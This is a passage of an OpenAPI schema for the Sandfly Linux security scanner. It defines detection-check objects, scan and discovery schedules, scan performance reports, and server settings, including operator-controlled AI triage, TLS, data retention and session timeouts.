sandfly.","minimum":0,"type":"integer"},"results_total":{"description":"Number of current (not superseded) results from this sandfly.","minimum":0,"type":"integer"},"severity":{"$ref":"#/components/schemas/SandflySeverity"},"tags":{"description":"Sandfly tags include type and applicable Mitre tactics and techniques.","items":{"type":"string"},"type":"array"},"type":{"description":"Sandfly type.","$ref":"#/components/schemas/SandflyType"},"version":{"description":"Version of the sandfly in date-time format.","example":"2021-03-11T12:14:09","type":"string"}},"required":["name","description","version","format","tags","custom","type","active","severity","max_cpu_load","max_disk_load","max_timeout","os_compat","date_added","options","results_alert","results_error","results_passes","results_total"],"type":"object"},"SandflyBriefSummary":{"type":"object","required":["name","description","type","custom","active","tags"],"properties":{"name":{"description":"The name of the sandfly.","type":"string"},"description":{"description":"A description of the sandfly.","type":"string"},"type":{"description":"The type of the sandfly.","$ref":"#/components/schemas/SandflyType"},"custom":{"description":"Indicates if the sandfly is a custom type.","type":"boolean"},"partner":{"description":"Indicates if the sandfly is a partner sandfly.","type":"boolean"},"active":{"description":"Indicates if the sandfly is active.","type":"boolean"},"tags":{"description":"A list of tags associated with the sandfly.","type":"array","items":{"type":"string"}}}},"SandflyTags":{"items":{"type":"string"},"type":"array"},"SandflyType":{"oneOf":[{"$ref":"#/components/schemas/SandflyTypeGeneral"},{"$ref":"#/components/schemas/SandflyTypeSpecial"},{"$ref":"#/components/schemas/SandflyTypeSystem"}],"description":"What kind of sandfly is this (directory, file, user, dependency, recon)?"},"SandflyTypeGeneral":{"description":"What kind of sandfly is this (directory, file, user, dependency, recon)?","type":"string","enum":["user","process","policy","file","directory","log","recon","incident"]},"SandflyTypeSpecial":{"description":"What kind of sandfly is this (directory, file, user, dependency, recon)?","type":"string","enum":["template"]},"SandflyTypeSystem":{"description":"What kind of sandfly is this (directory, file, user, dependency, recon)?","type":"string","enum":["error","sandfly"]},"SavedView":{"description":"Saved view.","properties":{"name":{"description":"Name of the saved view.","type":"string"},"namespace":{"description":"Namespace of the table that the view is applied to.","type":"string"},"view":{"description":"JSON string of the view. For internal use by the Sandfly UI only.","x-internal-note":"String data represents the GridInitialState object. See https://mui.com/x/react-data-grid/state/","format":"JSON","type":"string"}},"required":["name","namespace","view"],"type":"object"},"ScanAdhoc":{"properties":{"credentials":{"description":"Credentials object to add at same time as adding these hosts.","items":{"type":"object"},"type":"object"},"hosts":{"description":"Hosts object of hosts to add","items":{"type":"object"},"type":"object"},"jump_hosts":{"description":"List of jump_host objects to use for adding this host.","items":{"type":"object"},"type":"array"},"priority":{"description":"Optional priority to use for scan between -20 high priority and 19 low priority - Default is 0.","format":"int32","type":"integer"},"queue_name":{"description":"scanning node queue name to use to for scan request.","type":"string"},"sandfly_list":{"description":"A list of sandflies to use in the scan.","items":{"type":"string"},"type":"array"},"ssh_host_keys":{"additionalProperties":{"$ref":"#/components/schemas/SshHostKeyConfig"},"description":"Expected SSH host public keys of the hosts to add. If a host key isn't provided for a host, any key will be accepted.","type":"object"},"tags":{"description":"A list of tags to use in the scan.","items":{"type":"string"},"type":"array"},"verify_host_key":{"description":"If true, the SSH key of the host will be recorded during the Host Add operation, then on future scans Sandfly will not authenticate to the host if the host key changes.","type":"boolean"}},"type":"object"},"ScanManual":{"properties":{"host_ids":{"description":"List of host_ids to scan.","items":{"type":"string"},"type":"array"},"host_sequence_ids":{"description":"List of host sequence_ids to scan.","items":{"type":"integer"},"type":"array"},"priority":{"description":"Optional priority to use for scan between -20 high priority and 19 low priority - Default is 0.","format":"int32","type":"integer"},"sandfly_list":{"description":"A list of sandflies to use in the scan.","items":{"type":"string"},"type":"array"}},"type":"object"},"ScanPerformanceReport":{"type":"object","required":["start_time","end_time","scan_summary","hourly_scan_summary","host_scan_summary","tag_alerts"],"properties":{"start_time":{"type":"string","format":"date-time","description":"Start time of this report data period."},"end_time":{"type":"string","format":"date-time","description":"End time of this report data period."},"scan_summary":{"type":"array","description":"Aggregate counts of scan activity.","items":{"type":"object","required":["unique_hosts_scanned"],"properties":{"unique_hosts_scanned":{"type":"integer","description":"Number of unique hosts scanned."}},"allOf":[{"$ref":"#/components/schemas/ScanSummary"}]}},"hourly_scan_summary":{"type":"array","description":"Hourly summary of scan activity.","items":{"type":"object","required":["unique_hosts_scanned","time_bucket"],"properties":{"time_bucket":{"type":"string","format":"date-time","description":"The hour to which this data applies."},"unique_hosts_scanned":{"type":"integer","description":"Number of unique hosts scanned during this time period."}},"allOf":[{"$ref":"#/components/schemas/ScanSummary"}]}},"host_scan_summary":{"type":"array","items":{"type":"object","required":["host_id","target_address","node_name","host_sequence_id"],"properties":{"host_id":{"type":"string","description":"Host ID."},"host_sequence_id":{"type":"integer","description":"Host sequence ID. Will be null if the host has been deleted."},"target_address":{"type":"string","description":"Target address of host."},"node_name":{"type":"string","description":"OS-report hostname."}},"allOf":[{"$ref":"#/components/schemas/ScanSummary"}]}},"tag_alerts":{"type":"array","description":"Alert result counts by sandfly tag.","items":{"type":"object","required":["tag","alerts","category"],"properties":{"tag":{"type":"string","description":"Sandfly tag name."},"alerts":{"type":"integer","description":"Number of alert results for this tag."},"category":{"$ref":"#/components/schemas/ResultTagCategory"}}}}}},"ScanSummary":{"type":"object","required":["total_scans_completed","total_scans_failed","unique_hosts_scanned","total_sandflies_executed","total_alerts","total_errors","total_passes"],"properties":{"total_scans_completed":{"type":"integer","description":"Number of scans successfully completed."},"total_scans_failed":{"type":"integer","description":"Number of scans that experienced scan errors."},"unique_hosts_scanned":{"type":"integer","description":"Number of hosts scanned."},"total_sandflies_executed":{"type":"integer","description":"Number of individual sandflies executed across hosts."},"total_alerts":{"type":"integer","description":"Number of alert results."},"total_errors":{"type":"integer","description":"Number of error results."},"total_passes":{"type":"integer","description":"Number of pass results."}}},"ScheduleType":{"description":"The type of schedule: scan or discover. gather and drift are reserved for system-managed schedules used by auto-drift profiles and cannot be directly created by users.","type":"string","enum":["scan","discover","gather","drift"]},"ScheduleCommon":{"type":"object","required":["hosts","sandflies","all_hosts_immediately"],"properties":{"all_hosts_immediately":{"description":"If true, immediately start scan on all hosts covered by this schedule. If false, scans will be spread out across hosts over the scan schedule interval.","type":"boolean"},"hosts":{"description":"Only present when retrieving individual schedule detail. If specific hosts are included by ID in this schedule, then summary hosts details are listed here.","readOnly":true,"type":"array","items":{"$ref":"#/components/schemas/HostBriefInfo"}},"sandflies":{"description":"Only present when retrieving individual schedule detail. If specific sandflies are included by ID in this schedule, then summary sandfly details are listed here.","readOnly":true,"type":"array","items":{"$ref":"#/components/schemas/SandflyBriefSummary"}}}},"ScheduleMeta":{"required":["id","number_of_runs","date_first_run","date_last_run","date_next_run","paused","system_managed"],"properties":{"id":{"type":"string","description":"Alias to name.","deprecated":true},"date_first_run":{"description":"Time this schedule was first run.","format":"date-time","type":"string"},"date_last_run":{"description":"Time this schedule was last run.","format":"date-time","type":"string"},"date_next_run":{"description":"Time this schedule will next run.","format":"date-time","type":"string"},"number_of_runs":{"description":"How many times this schedule has run.","type":"integer"},"paused":{"description":"Is schedule paused?","type":"boolean"},"system_managed":{"description":"This schedule is managed by the system (e.g. for an autodrift profile) and cannot be edited or deleted directly. It can be paused/unpaused and manually run.","type":"boolean"}},"type":"object"},"ScheduleTypeScan":{"type":"object","allOf":[{"$ref":"#/components/schemas/ScheduleConfigScan"},{"$ref":"#/components/schemas/ScheduleCommon"},{"$ref":"#/components/schemas/ScheduleAddCommon"},{"$ref":"#/components/schemas/ScheduleMeta"}],"required":["covered_hosts","candidate_sandflies"],"properties":{"covered_hosts":{"description":"Only present when retrieving individual schedule details. Lists details of all hosts covered by this schedule.","readOnly":true,"type":"array","items":{"$ref":"#/components/schemas/HostSummaryRollup"}},"candidate_sandflies":{"description":"Only present when retrieving individual schedule details. Lists details of all sandflies that can be used during scans by this schedule.","readOnly":true,"type":"array","items":{"$ref":"#/components/schemas/SandflySummary"}}}},"ScheduleTypeDrift":{"type":"object","allOf":[{"$ref":"#/components/schemas/ScheduleTypeScan"}],"required":["result_profile_id"],"properties":{"result_profile_id":{"description":"If this is a schedule related to a result profile, this will be the ID of the associated result profile. Otherwise, this field will not be present.","type":"integer"}}},"ScheduleTypeGather":{"type":"object","allOf":[{"$ref":"#/components/schemas/ScheduleTypeScan"}],"required":["gather_finish","result_profile_id"],"properties":{"gather_finish":{"readOnly":true,"description":"The approximate time this gather schedule will end and the associated result profile will switch to enforcing mode.","type":"string","format":"date-time"},"result_profile_id":{"description":"If this is a schedule related to a result profile, this will be the ID of the associated result profile. Otherwise, this field will not be present.","type":"integer"}}},"ScheduleTypeDiscover":{"type":"object","allOf":[{"$ref":"#/components/schemas/ScheduleConfigDiscoverIplist"},{"$ref":"#/components/schemas/ScheduleConfigDiscoverNetblock"},{"$ref":"#/components/schemas/ScheduleAddCommon"},{"$ref":"#/components/schemas/ScheduleCommon"},{"$ref":"#/components/schemas/ScheduleMeta"}]},"ScheduleSummary":{"discriminator":{"propertyName":"schedule_type","mapping":{"scan":"#/components/schemas/ScheduleSummaryScan","discover":"#/components/schemas/ScheduleSummaryDiscover","gather":"#/components/schemas/ScheduleSummaryGather","drift":"#/components/schemas/ScheduleSummaryDrift"}},"oneOf":[{"$ref":"#/components/schemas/ScheduleSummaryScan"},{"$ref":"#/components/schemas/ScheduleSummaryDiscover"},{"$ref":"#/components/schemas/ScheduleSummaryGather"},{"$ref":"#/components/schemas/ScheduleSummaryDrift"}]},"ScheduleSummaryScan":{"allOf":[{"$ref":"#/components/schemas/ScheduleConfigDiscover"},{"$ref":"#/components/schemas/ScheduleConfigScan"},{"$ref":"#/components/schemas/HostConnectionCommon"},{"$ref":"#/components/schemas/LinkedCredential"},{"$ref":"#/components/schemas/ScheduleAddCommon"},{"$ref":"#/components/schemas/ScheduleMeta"},{"$ref":"#/components/schemas/HostConnectionRange"},{"$ref":"#/components/schemas/HostConnectionList"}]},"ScheduleSummaryDrift":{"allOf":[{"$ref":"#/components/schemas/ScheduleConfigDiscover"},{"$ref":"#/components/schemas/ScheduleConfigScan"},{"$ref":"#/components/schemas/HostConnectionCommon"},{"$ref":"#/components/schemas/LinkedCredential"},{"$ref":"#/components/schemas/ScheduleAddCommon"},{"$ref":"#/components/schemas/ScheduleMeta"},{"$ref":"#/components/schemas/HostConnectionRange"},{"$ref":"#/components/schemas/HostConnectionList"}],"type":"object","required":["result_profile_id"],"properties":{"result_profile_id":{"description":"If this is a schedule related to a result profile, this will be the ID of the associated result profile. Otherwise, this field will not be present.","type":"integer"}}},"ScheduleSummaryDiscover":{"allOf":[{"$ref":"#/components/schemas/ScheduleConfigDiscover"},{"$ref":"#/components/schemas/ScheduleConfigScan"},{"$ref":"#/components/schemas/HostConnectionCommon"},{"$ref":"#/components/schemas/LinkedCredential"},{"$ref":"#/components/schemas/ScheduleAddCommon"},{"$ref":"#/components/schemas/ScheduleMeta"},{"$ref":"#/components/schemas/HostConnectionRange"},{"$ref":"#/components/schemas/HostConnectionList"}],"type":"object","required":["all_hosts_immediately"],"properties":{"all_hosts_immediately":{"description":"If true, immediately start scan on all hosts covered by this schedule. If false, scans will be spread out across hosts over the scan schedule interval.","type":"boolean"}}},"ScheduleSummaryGather":{"allOf":[{"$ref":"#/components/schemas/ScheduleConfigDiscover"},{"$ref":"#/components/schemas/ScheduleConfigScan"},{"$ref":"#/components/schemas/HostConnectionCommon"},{"$ref":"#/components/schemas/LinkedCredential"},{"$ref":"#/components/schemas/ScheduleAddCommon"},{"$ref":"#/components/schemas/ScheduleMeta"},{"$ref":"#/components/schemas/HostConnectionRange"},{"$ref":"#/components/schemas/HostConnectionList"}],"type":"object","required":["all_hosts_immediately"],"properties":{"all_hosts_immediately":{"description":"If true, immediately start scan on all hosts covered by this schedule. If false, scans will be spread out across hosts over the scan schedule interval.","type":"boolean"},"gather_finish":{"description":"The approximate time this gather schedule will end and the associated result profile will switch to enforcing mode.","type":"string","format":"date-time"},"result_profile_id":{"description":"If this is a schedule related to a result profile, this will be the ID of the associated result profile. Otherwise, this field will not be present.","type":"integer"}}},"Schedule":{"discriminator":{"propertyName":"schedule_type","mapping":{"scan":"#/components/schemas/ScheduleTypeScan","discover":"#/components/schemas/ScheduleTypeDiscover","gather":"#/components/schemas/ScheduleTypeGather","drift":"#/components/schemas/ScheduleTypeDrift"}},"oneOf":[{"$ref":"#/components/schemas/ScheduleTypeScan"},{"$ref":"#/components/schemas/ScheduleTypeDiscover"},{"$ref":"#/components/schemas/ScheduleTypeGather"},{"$ref":"#/components/schemas/ScheduleTypeDrift"}],"type":"object"},"ScheduleAdd":{"type":"object","discriminator":{"propertyName":"schedule_type","mapping":{"scan":"#/components/schemas/ScheduleConfigScan","discover":"#/components/schemas/ScheduleConfigDiscover","gather":"#/components/schemas/ScheduleConfigScan"}},"oneOf":[{"$ref":"#/components/schemas/ScheduleConfigScan"},{"$ref":"#/components/schemas/ScheduleConfigDiscover"}]},"ScheduleAddCommon":{"required":["name","schedule_type"],"type":"object","properties":{"schedule_type":{"$ref":"#/components/schemas/ScheduleType"},"name":{"description":"A readable name for this scheduled scan.","type":"string"}}},"ScheduleConfigCommon":{"required":["minutes_timer_high","minutes_timer_low","restrict_begin_hour","restrict_end_hour"],"type":"object","properties":{"description":{"description":"Schedule description.","type":"string"},"minutes_timer_high":{"description":"Upper limit minutes to wait between scans.","format":"int32","type":"integer"},"minutes_timer_low":{"description":"Lower limit of minutes to wait between scans. Cannot be greater than minutes_timer_high.","format":"int32","type":"integer"},"offline_cleanup_hours":{"description":"(scan schedule) If set to a positive value, hosts that are in the 'offline' state for longer than this number of hours will be deleted from Sandfly if this schedule attempts to connect to them but fails.","format":"int32","type":"integer"},"paused":{"description":"Boolean flag to set if this scheduled scan is paused or not.","type":"boolean"},"restrict_begin_hour":{"description":"nil or -1 to disable, or a number between 0-24 to indicate the beginning hour (UTC) of the window of time during which this schedule will not run.","format":"int32","type":"integer"},"restrict_end_hour":{"description":"nil or -1 to disable, or a number between 0-24 to indicate the end hour (UTC) of the window of time during which this schedule will not run.","format":"int32","type":"integer"}}},"ScheduleConfigDiscover":{"discriminator":{"propertyName":"ip_type","mapping":{"ip_list":"#/components/schemas/ScheduleConfigDiscoverIplist","ip_range":"#/components/schemas/ScheduleConfigDiscoverNetblock"}},"oneOf":[{"$ref":"#/components/schemas/ScheduleConfigDiscoverIplist"},{"$ref":"#/components/schemas/ScheduleConfigDiscoverNetblock"}]},"ScheduleConfigDiscoverCommon":{"required":["ip_type","discovered_host_tags"],"properties":{"ip_type":{"$ref":"#/components/schemas/HostConnectionType"},"ssh_port":{"default":22,"description":"SSH port to use for scanning.","format":"int32","type":"integer"},"ssh_host_keys":{"additionalProperties":{"$ref":"#/components/schemas/SshHostKeyConfig"},"description":"Expected SSH host public keys of the hosts to add. If a host key isn't provided for a host, any key will be accepted.","type":"object"},"discovered_host_tags":{"description":"(discover schedule) List of tags to set on hosts added by this discover schedule.","$ref":"#/components/schemas/HostTags"},"jump_hosts":{"description":"(discover schedule) List of jump host IDs to connect through when attempting to add hosts during the discover schedule run.","$ref":"#/components/schemas/LinkedJumpHosts"},"queue_name":{"description":"(discover schedule) Name of queue to use when attempting to add hosts during the discover schedule run.","type":"string","default":"main","example":"main"},"verify_host_key":{"default":false,"description":"Verify host key when connecting to a host.","type":"boolean"},"override_directory":{"description":"Directory to run scan from instead of the node configuration values. An empty string means no override. For the behavior of an empty string in the node config file (where an empty string means use the home directory), enter \"~\" here. Any other value must be an absolute path of at most 512 characters, using only letters, digits, space, and . _ - + , @ % : = ~ /","type":"string","default":""}},"type":"object"},"ScheduleConfigDiscoverIplist":{"allOf":[{"$ref":"#/components/schemas/ScheduleAddCommon"},{"$ref":"#/components/schemas/ScheduleConfigCommon"},{"$ref":"#/components/schemas/HostConnectionList"},{"$ref":"#/components/schemas/ScheduleConfigDiscoverCommon"},{"$ref":"#/components/schemas/LinkedCredential"}]},"ScheduleConfigDiscoverNetblock":{"allOf":[{"$ref":"#/components/schemas/ScheduleAddCommon"},{"$ref":"#/components/schemas/ScheduleConfigCommon"},{"$ref":"#/components/schemas/HostConnectionRange"},{"$ref":"#/components/schemas/ScheduleConfigDiscoverCommon"},{"$ref":"#/components/schemas/LinkedCredential"}]},"ScheduleConfigScan":{"required":["sandfly_selection_percent","sandfly_type","tags","tags_exclude","tags_exclude_operator","tags_operator","priority","all_hosts_immediately"],"allOf":[{"$ref":"#/components/schemas/ScheduleConfigCommon"},{"$ref":"#/components/schemas/ScheduleAddCommon"}],"properties":{"all_hosts_immediately":{"description":"If true, immediately start scan on all hosts covered by this schedule. If false, scans will be spread out across hosts over the scan schedule interval.","type":"boolean"},"priority":{"description":"(scan schedule) Nice compatible priority of scan on target hosts.","format":"int32","type":"integer"},"sandfly_selection_percent":{"description":"(scan schedule) A number between 5-100 that is a random percentage to select from the sandfly list to run.","format":"int32","type":"integer"},"sandfly_type":{"description":"(scan schedule) List of sandfly types to include in this scan.","items":{"$ref":"#/components/schemas/SandflyTypeGeneral"},"type":"array"},"sandfly_tags":{"description":"(scan schedule) List of sandfly tags to include in this scan. If sandfly_types is also populated, these sandfly tags will act as a filter on the sandflies selected by type. If no sandfly_type list is present, then all active sandflies with the requested tags will be candidates for this scan.","type":"array","items":{"type":"string"}},"sandfly_tags_operator":{"description":"(scan schedule) How to interpret the sandfly_tags field: 'and' if all tags must be present on the sandfly to qualify for this scan, or 'or' if any tag qualifies the sandfly.","$ref":"#/components/schemas/ScanTagOperators"},"sandfly_tags_exclude":{"description":"(scan schedule) List of sandfly tags to exclude in this scan. These take precendent over inclusion based on the 'sandfly_type' and 'sandfly_tag' fields.","type":"array","items":{"type":"string"}},"sandfly_tags_exclude_operator":{"description":"(scan schedule) How to interpret the sandfly_tags_exclude field: 'and' if all tags must be present on the sandfly to exclude for this scan, or 'or' if any tag excludes the sandfly.","$ref":"#/components/schemas/ScanTagOperators"},"sandfly_ids":{"description":"(scan schedule) Names (IDs) of specific sandflies to always include in this scan. These sandflies will be included even if they are inactive, and this list is not filtered by the include/exclude type or tag criteria configured for this scan. Furthermore, these sandflies are guaranteed to always run and are not part of the sandfly_selection_percent amount.","type":"array","items":{"type":"string","description":"Sandfly name."}},"tags":{"description":"(scan schedule) Host tags to include in this scan.","items":{"type":"string"},"type":"array"},"tags_exclude":{"description":"(scan schedule) Host tags to exclude from this scan. These take precedent over inclusion based on the 'tags' field.","items":{"type":"string"},"type":"array"},"tags_exclude_operator":{"description":"(scan schedule) How to interpret the tags_exclude field: 'and' if all tags must be present on the host to it from this scan, or 'or' if any tag excludes the host.","$ref":"#/components/schemas/ScanTagOperators"},"tags_operator":{"description":"(scan schedule) How to interpret the tags field: 'and' if all tags must be present on the host to qualify for this scan, or 'or' if any tag qualifies the host.","$ref":"#/components/schemas/ScanTagOperators"}},"type":"object"},"ScanTagOperators":{"type":"string","enum":["or","and"]},"ScheduleIds":{"properties":{"schedule_ids":{"description":"List of schedule_ids.","items":{"type":"string"},"type":"array"}},"type":"object"},"ScheduleUpdate":{"discriminator":{"propertyName":"schedule_type","mapping":{"scan":"#/components/schemas/ScheduleConfigScan","discover":"#/components/schemas/ScheduleConfigDiscover"}},"type":"object","oneOf":[{"$ref":"#/components/schemas/ScheduleConfigScan"},{"$ref":"#/components/schemas/ScheduleConfigDiscover"}]},"ScrollingResponse":{"properties":{"more_results":{"description":"Indicates if there are more results to be returned.","type":"boolean"},"total":{"description":"Total number of records in this page.","format":"int32","type":"integer"}},"required":["total","more_results"],"type":"object"},"TotalledResponse":{"properties":{"total":{"description":"Total number of records found.","format":"int32","type":"integer"}},"required":["total"],"type":"object"},"ServerConfiguration":{"allOf":[{"$ref":"#/components/schemas/ServerConfigCommon"},{"$ref":"#/components/schemas/ServerConfigGeneral"},{"$ref":"#/components/schemas/ServerConfigSessionTimeouts"},{"$ref":"#/components/schemas/ServerConfigScanningBinary"},{"$ref":"#/components/schemas/ServerConfigSectionElastic"},{"$ref":"#/components/schemas/ServerConfigSectionLLM"},{"$ref":"#/components/schemas/ServerConfigSectionLLMTriage"},{"$ref":"#/components/schemas/ServerConfigSectionPostgres"},{"$ref":"#/components/schemas/ServerConfigSectionSentinel"},{"$ref":"#/components/schemas/ServerConfigSectionSSO"},{"$ref":"#/components/schemas/ServerConfigSectionTLS"},{"$ref":"#/components/schemas/ServerConfigSectionAdvanced"}],"type":"object"},"ServerConfigurationUpdate":{"allOf":[{"$ref":"#/components/schemas/ServerConfigCommon"},{"$ref":"#/components/schemas/ServerConfigUpdateSections"}]},"ServerConfigUpdateSections":{"type":"object","anyOf":[{"$ref":"#/components/schemas/ServerConfigGeneral"},{"$ref":"#/components/schemas/ServerConfigSessionTimeouts"},{"$ref":"#/components/schemas/ServerConfigScanningBinary"},{"$ref":"#/components/schemas/ServerConfigSectionElastic"},{"$ref":"#/components/schemas/ServerConfigSectionLLM"},{"$ref":"#/components/schemas/ServerConfigSectionLLMTriage"},{"$ref":"#/components/schemas/ServerConfigSectionPostgres"},{"$ref":"#/components/schemas/ServerConfigSectionSentinel"},{"$ref":"#/components/schemas/ServerConfigSectionSSO"},{"$ref":"#/components/schemas/ServerConfigSectionTLS"},{"$ref":"#/components/schemas/ServerConfigSectionAdvancedEdit"}]},"ServerConfigSectionElastic":{"type":"object","required":["elastic_replication"],"properties":{"elastic_replication":{"$ref":"#/components/schemas/ServerConfigElastic"}}},"ServerConfigSectionLLM":{"type":"object","required":["llm_analysis"],"properties":{"llm_analysis":{"$ref":"#/components/schemas/ServerConfigLLM"}}},"ServerConfigSectionLLMTriage":{"type":"object","required":["llm_triage"],"properties":{"llm_triage":{"$ref":"#/components/schemas/ServerConfigLLMTriage"}}},"ServerConfigLLMTriage":{"description":"Configuration for automated AI triage: analyze each host after a scan materially changes what is known about it.\n\nThe model is configured separately from the one used for AI analysis so that continuous, unattended triage can run on a cheaper model while a better one stays available for the analyses an operator asks for by hand.","type":"object","required":["enabled","automatic","inherit","provider","model","available_models","url","ca_cert","min_interval_hours","max_concurrent","daily_limit","max_payload_kb","submit_timeout_secs","exclude_host_tags"],"properties":{"enabled":{"type":"boolean","description":"Whether AI triage has a configuration of its own.\n\nThis does not by itself mean anything is submitted; see `automatic`. Nor does turning it off make triage unavailable: an operator can still request a verdict for a single host or artifact, and it runs on the AI Analysis connection. What it turns off is triage's own provider settings, and with them the ability to run unattended at all."},"automatic":{"type":"boolean","description":"Whether every host whose scan materially changed it is submitted without being asked for.\n\nThis is the setting with the cost and the data egress attached, which is why it is separate from `enabled`: an installation can have triage configured and available to its operators while nothing runs automatically.\n\nOnly consulted when `enabled` is true. Requests made by hand ignore it entirely -- making one is the operator choosing. Automatic submission never falls back to the AI Analysis connection: an installation that has not configured triage has not agreed to have every host submitted on a timer.\n\nTakes effect before the next host is taken off the queue, not when the current backlog clears. Automatic work already queued when this is turned off is not discarded: it waits, and runs when the setting is turned back on. Requests made by hand still run in the meantime."},"inherit":{"type":"boolean","description":"Take the provider, API key, URL and CA certificate from the AI analysis configuration, leaving `model` the only field set here. Requires AI analysis to be enabled."},"provider":{"type":"string","description":"AI API service to use. Ignored when `inherit` is true.","enum":["Claude","custom","DigitalOcean","Gemini","OpenAI","xAI"]},"password":{"type":"string","nullable":true,"description":"API key for the provider. Stored encrypted and never returned. Leave null when updating to keep the saved key. Ignored when `inherit` is true.","writeOnly":true},"model":{"type":"string","description":"The model AI triage submits to.\n\nWith `inherit` true this is an override: leave it empty and triage uses whatever model AI analysis uses; set it and that wins. Setting it is the usual arrangement, since running a cheaper model is the common reason to configure triage separately -- but it is not required, and an installation with a single model available can simply inherit.\n\nWith `inherit` false it may be left empty on first save, which is how the provider's model list is fetched and a default chosen.\n\nThe one rejected combination is inheriting when AI analysis has no model either, because an empty model name reaches the provider as a request for a model that does not exist."},"available_models":{"type":"array","items":{"type":"string"},"readOnly":true,"description":"The models the provider reports, refreshed when the configuration is saved with `enabled` true and `inherit` false.","example":[]},"url":{"type":"string","description":"Base URL, required for and only allowed with the `custom` provider. Ignored when `inherit` is true."},"ca_cert":{"type":"string","description":"PEM CA certificate for a provider using a private certificate authority. Ignored when `inherit` is true."},"min_interval_hours":{"type":"integer","description":"The shortest time between two analyses for the same host, so a frequently scanned host is not repeatedly re-judged. A host that changes inside the interval is judged when the interval is up, not skipped. A verdict requested by hand ignores this.","minimum":0},"max_concurrent":{"type":"integer","description":"How many triage submissions may be submitted to the LLM provider concurrently.","minimum":1},"daily_limit":{"type":"integer","description":"The most documents automatic triage sends to the provider per UTC day; 0 for no limit. Every submission counts, including one that fails or returns an unusable answer. Verdicts synthesized for hosts with nothing alerting, and verdicts reused from another host, send nothing and are not counted. When the limit is reached, automatic work that would submit a document waits for the next day; work that sends nothing -- a verdict reused from another host, a host with nothing alerting -- goes on.\n\nRequests are not held by it. The limit bounds what runs unattended, and an operator asking for a host or an artifact is not that; what the request sends is still counted, so a day spent by hand leaves that much less for the automatic path.","minimum":0},"max_payload_kb":{"type":"integer","description":"The size budget for the document describing a host, in kilobytes. It is a target rather than a hard limit. The alerting artifacts are ranked worst first and the budget decides how many of them carry their full forensic detail and how much of the host context fits; whatever is left out is counted in the document so the model does not read a shortened list as a complete one. Two things are sent regardless of the budget: a summary line for every alerting artifact (alerts of the same kind beyond the first few are summarized together as a group), and full detail for the few worst alerts, because a document that could not afford detail on its worst finding would have lost the thing it exists to add. A host whose worst alerts carry very large forensic payloads can therefore produce a document above the budget.","minimum":16},"submit_timeout_secs":{"type":"integer","description":"How long one submission to the model may take, in seconds, before it is abandoned and retried.","minimum":30,"maximum":1800},"exclude_host_tags":{"type":"array","items":{"type":"string"},"description":"Exclude hosts with any matching tag from automatic triage submission.","example":[]}}},"ServerConfigSectionPostgres":{"type":"object","required":["postgres_replication"],"properties":{"postgres_replication":{"$ref":"#/components/schemas/ServerConfigPostgres"}}},"ServerConfigSectionSentinel":{"type":"object","required":["sentinel_replication"],"properties":{"sentinel_replication":{"$ref":"#/components/schemas/ServerConfigSentinel"}}},"ServerConfigSectionSSO":{"type":"object","required":["sso"],"properties":{"sso":{"$ref":"#/components/schemas/ServerConfigSSO"}}},"ServerConfigSectionAdvanced":{"type":"object","required":["advanced"],"properties":{"advanced":{"$ref":"#/components/schemas/ServerConfigAdvanced"}}},"ServerConfigSectionAdvancedEdit":{"type":"object","required":["advanced"],"properties":{"advanced":{"$ref":"#/components/schemas/ServerConfigAdvancedEdit"}}},"ServerConfigSectionTLS":{"type":"object","required":["tls"],"properties":{"tls":{"$ref":"#/components/schemas/ServerConfigTLS"}}},"ServerConfigTLS":{"type":"object","description":"TLS certificate management configuration.","required":["mode","acme_email","acme_directory","user_tls_active"],"properties":{"mode":{"type":"string","enum":["self_signed","acme","none"],"description":"TLS certificate management mode. 'self_signed' generates certificates automatically, 'acme' uses Let's Encrypt or another ACME provider, 'none' runs plain HTTP only (for use behind a TLS-terminating proxy). User-provided certificate files (via SF_TLS_CERT_PATH / SF_TLS_KEY_PATH env vars) are detected automatically and override the configured mode."},"acme_email":{"type":"string","description":"Email address for ACME account registration."},"acme_directory":{"type":"string","description":"ACME provider directory URL. Defaults to Let's Encrypt production."},"user_tls_active":{"type":"boolean","readOnly":true,"description":"Indicates that user-provided TLS certificate files were detected and are being used, overriding the configured mode. This field is read-only and determined at server startup."}}},"ServerConfigCommon":{"required":["config_revision"],"type":"object","properties":{"config_revision":{"format":"int64","type":"integer","description":"Configuration revision number. Must be echoed back to the server. Provides optimistic concurrency control to prevent two users from altering configuration simultaneously."}}},"ServerConfigGeneral":{"type":"object","required":["data_retention_days","pass_retention_days","file_retention_days","shared_url_keep_days","scan_log_retention_days","maintenance_hour"],"properties":{"data_retention_days":{"format":"int64","type":"integer","description":"Number of days to keep alert results and other data.","default":30,"minimum":1,"maximum":31},"pass_retention_days":{"format":"int64","type":"integer","description":"Number of days to keep pass results.","default":3,"minimum":1,"maximum":31},"file_retention_days":{"format":"int64","type":"integer","description":"Number of days to keep blobs (process binaries or files retrieved by response actions) in the database.","default":3,"minimum":1,"maximum":31},"shared_url_keep_days":{"format":"int64","type":"integer","description":"Number of days to keep \"share\" URL links generated in the UI.","default":90,"minimum":1,"maximum":9999},"scan_log_retention_days":{"format":"int64","type":"integer","description":"Number of days to retain scan_log entries for the scan performance report, enter 0 to retain forever.","default":120,"minimum":0,"maximum":9999},"maintenance_hour":{"format":"int64","type":"integer","description":"Hour of the day, on the 24-hour UTC clock, to perform daily system maintenance tasks.","default":0,"minimum":0,"maximum":24},"server_hostname":{"type":"string","description":"The hostname of the Sandfly server, used for SAML ACS URLs, notification links, and other features that need to reference the server's public URL. Once set, this value cannot be changed back to empty."},"login_banner":{"type":"string","description":"Optional warning or notice message displayed on the login page. Leave empty to show no message. Must be no more than 5000 characters.","default":"","maxLength":5000},"server_log_level":{"type":"string","enum":["debug","info"],"description":"Server log verbosity level. Changes take effect immediately unless the SF_LOG_LEVEL environment variable is set, in which case the environment variable takes precedence for the lifetime of the server.","default":"info"}}},"ServerConfigSessionTimeouts":{"type":"object","required":["access_token_minutes","refresh_token_minutes","ui_session_timeout_minutes","ui_session_expiration_minutes"],"properties":{"access_token_minutes":{"format":"int64","type":"integer","description":"Length of time (in minutes) that API access tokens are valid.","default":30,"minimum":5,"maximum":1440},"refresh_token_minutes":{"format":"int64","type":"integer","description":"Length of time (in minutes) that API refresh tokens are valid.","default":1440,"minimum":5,"maximum":44640},"ui_session_timeout_minutes":{"format":"int64","type":"integer","description":"Length of time (in minutes) a UI session can be idle before requiring re-authentication.","default":60,"minimum":5,"maximum":1440},"ui_session_expiration_minutes":{"format":"int64","type":"integer","description":"Maximum time (in minutes) from initial login that a UI session can remain valid, regardless of 